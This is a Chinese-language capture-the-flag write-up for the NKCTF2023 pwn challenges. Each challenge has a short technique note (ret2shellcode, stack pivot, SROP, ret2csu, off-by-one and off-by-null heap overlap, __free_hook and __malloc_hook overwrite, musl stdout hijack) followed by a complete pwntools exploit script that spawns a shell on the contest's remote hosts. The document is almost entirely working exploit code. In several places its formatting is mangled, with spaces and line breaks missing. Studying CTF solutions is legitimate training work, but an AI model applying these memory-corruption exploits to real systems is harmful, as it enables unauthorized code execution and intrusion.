NKCTF2023
ezshellcode
ret2shellcode,用nop当滑板来避免爆破
from pwn import*
context.update(os='linux',arch='amd64')
context.log_level='debug'
binary='./ezshellcode'
elf=ELF(binary)#libc=ELF('')
debug=0if debug:
libc=elf.libc
p=process(binary)else:
host='node.yuzhian.com.cn'
port='38353'
p=remote(host,port)defpwn():
payload = shellcraft.sh()
p.recvuntil("min!")
p.send('\x90'*100+asm(payload))
p.interactive()
pwn()
a_story_of_a_pwner
在bss段上构造链子,再栈迁移ret2bss
from pwn import*
context.update(os='linux',arch='amd64',timeout=1)
context.log_level='debug'
binary='./story'
elf=ELF(binary)
libc=ELF('./libc.so.6')
debug=0if debug:
libc=elf.libc
p=process(binary)else:
host='node2.yuzhian.com.cn'
port='34482'
p=remote(host,port)
menu ="> "defacm(content):
p.sendlineafter(menu,'1')
p.sendafter("comment?",content)defctf(content):
p.sendlineafter(menu,'2')
p.sendafter("corment?",content)deflove(content):
p.sendlineafter(menu,'3')
p.sendafter("corMenT?",content)defheart():
p.sendlineafter(menu,'4')defpwn():
heart()
p.recvuntil("0x")
libc_base =int(p.recvn(12),16)- libc.sym["puts"]
system = libc_base + libc.sym["system"]
binsh = libc_base +next(libc.search("/bin/sh"))
pop_rdi_ret = libc_base +0x0000000000023b6a
leave_ret =0x000000000040139e
log.info("libc_base --> "+hex(libc_base))
ctf(p64(pop_rdi_ret))
acm(p64(binsh))
love(p64(system))
heart()
p.recvuntil("heart...\n")
payload ='a'*0xa+ p64(0x4050a0-0x8)+ p64(leave_ret)
p.send(payload)
p.interactive()
pwn()
ez_stack
在0x401146有执行SROP的后门,在bss上写入/bin/sh,再执行SROP即可
from pwn import*
context.update(os='linux',arch='amd64',timeout=1)
context.log_level='debug'
binary='./ez_stack'
elf=ELF(binary)#libc=ELF('')
debug=0if debug:
libc=elf.libc
p=process(binary)else:
host='node.yuzhian.com.cn'
port='36591'
p=remote(host,port)
bss = elf.bss(0x200)
csu_back =0x000000000040127A
csu_front =0x0000000000401260
pop_rbp_ret =0x000000000040111d
ret =0x000000000040101a
pop_rdi_ret =0x0000000000401283
pop_rsi_r15_ret =0x0000000000401281
pop_rsp_r13_r14_r15_ret =0x000000000040127d
syscall =0x000000000040114E
magic =0x401146defpwn():
p.recvuntil("NKCTF!\n")
frame = SigreturnFrame()
frame.rdi = bss
frame.rsi =0
frame.rdx =0
frame.rax =59
frame.rip = syscall
payload ='a'*(0x10+8)+ p64(pop_rsi_r15_ret)
payload += p64(bss)+ p64(0)+ p64(syscall)
payload += p64(magic)+ p64(syscall)+bytes(frame)#gdb.attach(p)
p.send(payload)#pause()
sleep(0.3)
payload ="/bin/sh\x00"
p.send(payload)
p.interactive()
pwn()
babyrop
my_read函数中存在off-by-null,会改掉rbp值的低一字节,就可以实现栈迁移,用ret当滑板,提高成功概率,先用puts来leak,再配合ret2csu(因为0x0a会导致截断,不能直接用pop_rbx开始的csu,用从pop_rbp开始的csu,并且要调整各寄存器的赋值,才能实现ret2csu的功能),实现写入bssgadget链子,并栈迁移到bss上
from pwn import*
context.update(os='linux',arch='amd64',timeout=1)
context.log_level='debug'
binary='./babyrop'
elf=ELF(binary)
libc=ELF('/home/enllus1on/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc.so.6')
debug=0if debug:
libc=elf.libc
p=process(binary)else:
host='node.yuzhian.com.cn'
port='39496'
p=remote(host,port)
read_got = elf.got["read"]
pop_rdi_ret =0x0000000000401413
pop_rsi_r15_ret =0x0000000000401411
pop_rbp_ret =0x00000000004011bd
ret =0x000000000040101a
leave_ret =0x00000000004012af
bss = elf.bss(0x200)
csu_back =0x000000000040140B
csu_front =0x00000000004013F0defcsu(func,rdi,rsi,rdx):
payload=''
payload+=p64(csu_back)
payload+=p64(0x4013b1)
payload+=p64(rdi)+p64(rsi)+p64(rdx)+p64(func)
payload+=p64(csu_front)return payload
defpwn():
p.recvuntil("name: ")
p.sendline('%41$p')
p.recvuntil("Hello, ")
p.recvuntil("0x")
canary =int(p.recvn(16),16)
log.info("canary --> "+hex(canary))
payload = p64(ret)*(13)
payload += flat(pop_rdi_ret, elf.got["puts"], elf.plt["puts"])
payload+=p64(csu_back)
payload+=p64(0x4013b1)
payload+=p64(0)+ p64(bss)+ p64(0x200)+ p64(0xFFFFFFFFFE3FA2B0)
payload+=p64(csu_front)
payload += p64(bss)*7+ p64(leave_ret)
payload += p64(canary)#gdb.attach(p, 'b 0x401365')
p.sendafter("NKCTF: ", payload)
addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base = addr - libc.sym["puts"]
system = libc_base + libc.sym["system"]
binsh = libc_base +next(libc.search("/bin/sh"))open= libc_base + libc.sym["open"]
read = libc_base + libc.sym["read"]
write = libc_base + libc.sym["write"]
pop_rdx_ret = libc_base +0x0000000000142c92
pop_rsi_ret = libc_base +0x000000000002601f
pop_rax_ret = libc_base +0x0000000000036174
syscall_ret = libc_base +0x00000000000630a9
log.info("libc_base --> "+hex(libc_base))
sleep(0.3)
payload = flat("./flag".ljust(8,'\x00'),
pop_rdi_ret, bss,
pop_rsi_ret,0,
pop_rdx_ret,0,
pop_rax_ret,2,
syscall_ret,
pop_rdi_ret,3,
pop_rsi_ret, bss+0x100,
pop_rdx_ret,0x30,
pop_rax_ret,0,
syscall_ret,
pop_rdi_ret,1,
pop_rsi_ret, bss+0x100,
pop_rdx_ret,0x30,
pop_rax_ret,1,
syscall_ret,)#gdb.attach(p)
p.send(payload)
p.interactive()
pwn()
baby_heap
edit存在off-by-one,实现overlapping,来控制fd指针,实现打__free_hook
from pwn import*
context.update(os='linux',arch='amd64',timeout=1)
context.log_level='debug'
binary='./baby_heap'
elf=ELF(binary)
libc=ELF('./libc-2.32.so')
debug=0if debug:
libc=elf.libc
p=process(binary)else:
host='node2.yuzhian.com.cn'
port='32371'
p=remote(host,port)
menu ="choice: "defadd(idx, size):
p.sendlineafter(menu,'1')
p.sendlineafter("index: ",str(idx))
p.sendlineafter("Size: ",str(size))defdelete(idx):
p.sendlineafter(menu,'2')
p.sendlineafter("index: ",str(idx))defedit(idx, content):
p.sendlineafter(menu,'3')
p.sendlineafter("index: ",str(idx))
p.sendlineafter("content: ",content)defshow(idx):
p.sendlineafter(menu,'4')
p.sendlineafter("index: ",str(idx))defdebug():
gdb.attach(p)
pause()defpwn():for i inrange(10):
add(i,0xb8)
delete(0)
add(0,0xb8)
show(0)
heapbase = u64(p.recvn(5).ljust(8,'\x00'))<<12
log.info("heapbase --> "+hex(heapbase))for i inrange(0,8):
delete(i)
add(0,0x58)
add(1,0x58)
show(0)
libcbase = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x1e3cb0
__free_hook = libcbase + libc.sym["__free_hook"]
system = libcbase + libc.sym["system"]
log.info("libcbase --> "+hex(libcbase))
add(2,0xb8)
payload ='a'*0xb8+p8(0xc1)
edit(2, payload)
add(10,0x58)
delete(10)
delete(1)
delete(0)
add(0,0xb1)
payload ='a'*0x58+ p64(0x61)+ p64(__free_hook^(heapbase>>12))
edit(0, payload)#debug()
add(3,0x50)#debug()
add(4,0x50)
edit(3,"/bin/sh\x00")
edit(4, p64(system))
delete(3)
p.interactive()
pwn()
only_read
改read_got最低一字节,使得调用read直接执行syscall,再配合栈迁移和read读入的字节数,会赋值给rax,来实现SROP来getshell
from pwn import*
context.update(os='linux',arch='amd64',timeout=1)
context.log_level='debug'
binary='./only_read'
elf=ELF(binary)
libc=ELF('/home/enllus1on/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc.so.6')
debug=0if debug:
libc=elf.libc
p=process(binary)else:
host='node2.yuzhian.com.cn'
port='39065'
p=remote(host,port)
part1 ="V2VsY29tZSB0byBOS0NURiE="
part2 ="dGVsbCB5b3UgYSBzZWNyZXQ6"
part3 ="SSdNIFJVTk5JTkcgT04gR0xJQkMgMi4zMS0wdWJ1bnR1OS45"
part4 ="Y2FuIHlvdSBmaW5kIG1lPw=="
csu_back =0x000000000040167A
csu_front =0x0000000000401660
pop_rdi_ret =0x0000000000401683
pop_rsi_r15_ret =0x0000000000401681
pop_rbp_ret =0x000000000040117d
leave_ret =0x00000000004013c2
bss = elf.bss(0xe00)
ret =0x000000000040101a# read --> syscall# memset --> read_plt# SROPdefpwn():
p.send(part1)
sleep(0.2)
p.send(part2)
sleep(0.2)
p.send(part3)
sleep(0.2)
p.send(part4)
sleep(0.2)
payload ='a'*(0x30+8)+ p64(pop_rdi_ret)+ p64(0)
payload += p64(pop_rsi_r15_ret)+ p64(elf.got["memset"])+ p64(0)
payload += p64(elf.plt["read"])
payload += p64(pop_rdi_ret)+ p64(0)
payload += p64(pop_rsi_r15_ret)+ p64(bss)+ p64(0)
payload += p64(elf.plt["memset"])
payload += p64(pop_rbp_ret)+ p64(bss)+ p64(leave_ret)#gdb.attach(p)
p.send(payload)#pause()
sleep(0.2)#gdb.attach(p)
payload = p64(0x401050)+'\xd0'
p.send(payload)#pause()
frame = SigreturnFrame()
frame.rdi = bss
frame.rsi =0
frame.rdx =0
frame.rax =59
frame.rsp = bss +0x100
frame.rip = elf.plt["read"]
sleep(0.2)
payload ="/bin/sh\x00"
payload += p64(pop_rdi_ret)+ p64(0)
payload += p64(pop_rsi_r15_ret)+ p64(elf.got["memset"]-6)+ p64(0)
payload += p64(elf.plt["memset"])
payload += p64(elf.plt["read"])+bytes(frame)
p.send(payload)#pause()
sleep(0.2)
payload ='\x00'*6+ p64(0x401050)+'\xd0'
p.send(payload)#pause()
p.interactive()
pwn()
9961code
一直都不怎么会写shellcode,www,询问了Korey0sh1师傅才会写的,直接getshell就行
from pwn import*
context.update(os='linux',arch='amd64',timeout=1)
context.log_level='debug'
binary='./9961code'
elf=ELF(binary)
libc=ELF('./libc.so.6')
debug=0if debug:
libc=elf.libc
p=process(binary)else:
host='node2.yuzhian.com.cn'
port='38660'
p=remote(host,port)# cdq give rdx rax'sigbitdefpwn():
p.recvuntil("shellcode!\n")
shellcode ="""
xor rsi,rsi
lea rdi,[r15+0xe]
cdq
mov ax,59
syscall
"""#gdb.attach(p,'b *$rebase(0x139b)')
p.send(asm(shellcode)+'/bin/sh')
p.interactive()
pwn()
note
musl pwn,idx没有限制,可以一直往下找,就会找到你第一次申请的chunk的值的地址,先找个idx,来leak heapbase,然后就可以edit idx0 为某个chunk地址, 然后show上面找到的地址来,leak libc,其实就相当于任意读写,劫持__stdout_used,伪造fake_stdout_file就能getshell
有关musl的知识可以看我之前的blog
from pwn import*
context.update(os='linux',arch='amd64',timeout=1)
context.log_level='debug'
binary='./nk_note'
elf=ELF(binary)
libc=ELF('./libc.so')
debug=0if debug:
libc=elf.libc
p=process(binary)else:
host='node2.yuzhian.com.cn'
port='36147'
p=remote(host,port)
menu ="choice: "defadd(idx, size, content):
p.sendlineafter(menu,'1')
p.sendlineafter("Index: ",str(idx))
p.sendlineafter("Size: ",str(size))
p.sendafter("Content: ",content)defedit(idx, size, content):
p.sendlineafter(menu,'2')
p.sendlineafter("Index: ",str(idx))
p.sendlineafter("Size: ",str(size))
p.sendafter("Content: ",content)defdelete(idx):
p.sendlineafter(menu,'3')
p.sendlineafter("Index: ",str(idx))defshow(idx):
p.sendlineafter(menu,'4')
p.sendlineafter("Index: ",str(idx))defdebug():
gdb.attach(p)
pause()defpwn():
add(0,0xc,'aaaa')
add(1,0x1c,'aaaa')
show(0x10)
heapbase = u64(p.recvn(6).ljust(8,'\x00'))-0x1248
log.info("heapbase-->"+hex(heapbase))
edit(0,0xc,p64(heapbase+0x1320))
show(0x572)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x9bd10
__stdout_used = libc_base +0x98450
__malloc_context = libc_base +0x98b60
system = libc_base + libc.sym["system"]
log.info("libc_base-->"+hex(libc_base))
add(2,0x1000,'aaaa')
edit(0,0xc,p64(__stdout_used))
edit(0x572,0x8,p64(libc_base-0x4000+0x20))
fake_stdout_file ='/bin/sh\x00'.ljust(0x38,'\x00')+ p64(1)+ p64(0)+ p64(system)
edit(2,0x50,fake_stdout_file)#debug()
p.sendlineafter(menu,'5')
p.interactive()
pwn()
bytedance
off-by-null
原题,钝角
scanf读入过多字符,会制造大chunk,从而导致__malloc_consolidate(),能够进入smallbins和unsortedbin
强大的堆风水,off-by-null,制造shrink chunk,来overlapping,堆重叠,泄露libc,再通过double free来在main_arena留下0x41,再控制fd指针来alloc到这里,再控制main_arena->top 到__malloc_hook附近,打ogg,来getshell
from pwn import*
context.update(os='linux',arch='amd64',timeout=1)#context.log_level='debug'
binary='./bytedance'
elf=ELF(binary)
libc=ELF('/home/enllus1on/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
debug=1if debug:
libc=elf.libc
p=process(binary)else:
host=''
port=''
p=remote(host,port)
menu ="Choice:"defadd(size,content):
p.sendlineafter(menu,'1')
p.sendlineafter("size:",str(size))
p.sendafter("content:",content)defshow(idx):
p.sendlineafter(menu,'2')
p.sendlineafter("index:",str(idx))defdelete(idx):
p.sendlineafter(menu,'3')
p.sendlineafter("index: ",str(idx))defconsolidate():
p.sendlineafter(menu,'1'*0x400)defdebug():
gdb.attach(p)
pause()# off-by-null# scanf too much char --> big_chunk# chunk shrink --> over_lappingdefpwn():
add(0x18,'0'+'\n')
add(0x18,'1'+'\n')
add(0x18,'2'+'\n')
add(0x18,'3'+'\n')
add(0x18,'4'+'\n')
add(0x18,'5'+'\n')
add(0x18,'6'+'\n')
add(0x18,'7'+'\n')
add(0x18,'8'*0x10+p16(0x100)+'\n')
add(0x18,'9'+'\n')
add(0x18,'10'+'\n')for i inrange(1,10):
delete(i)
consolidate()#debug()
delete(0)
add(0x18,'a'*0x18)# chunk shrink#debug()for i inrange(7):
add(0x18,'a'+'\n')# 1-7#debug()
delete(1)
delete(2)
delete(3)
consolidate()# bypass unlink check#debug()
delete(10)
consolidate()# all back top_chunk#debug()
add(0x28,'1'+'\n')
add(0x28,'2'+'\n')
add(0x28,'3'+'\n')
add(0x28,'8'+'\n')
add(0x38,'9'*0x30+p64(0x100)+'\n')
add(0x38,'10'+'\n')# 10
add(0x28,'11'+'\n')#debug()
delete(1)
delete(2)
delete(3)
delete(8)
delete(9)
delete(10)
consolidate()#debug()
delete(0)
add(0x18,'a'*0x18)# chunk shrink again#debug()
add(0x28,'1'+'\n')
add(0x28,'2'+'\n')#debug()
show(4)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3c4b78
one =[0x45226,0x4527a,0xf03a4,0xf1247]for i inrange(4):
one[i]+= libc_base
log.info("libc_base-->"+hex(libc_base))
add(0x28,'3'+'\n')# 3 4
add(0x28,'8'+'\n')
add(0x38,'9'+'\n')#9 7
add(0x38,'10'+'\n')
delete(3)
delete(8)
delete(4)
delete(9)
delete(10)
delete(7)
add(0x28,p64(0x41)+'\n')# 3 leave 0x41 in main_arena
add(0x28,'a'+'\n')# 4
add(0x28,'a'+'\n')# 7
add(0x38,p64(libc_base+0x3c4b20+0x8)+'\n')# 8
add(0x38,'a'+'\n')# 9
add(0x38,'a'+'\n')# 10# leave another 0x41 alloc to there
add(0x38,p64(libc_base+0x3c4b20+0x8+0x20)+'\x00'*0x10+p64(0x41)+'\n')# 12# change main_arena.top--> __malloc_hook
add(0x38,'\x00'*0x20+p64(libc_base+0x3c4b10-0x10)+p64(0)+'\n')
add(0x38,p64(one[2])*2+'\n')
delete(3)
delete(7)
p.interactive()
pwn()
版权归原作者 enllus1on 所有, 如有侵权,请联系我们删除。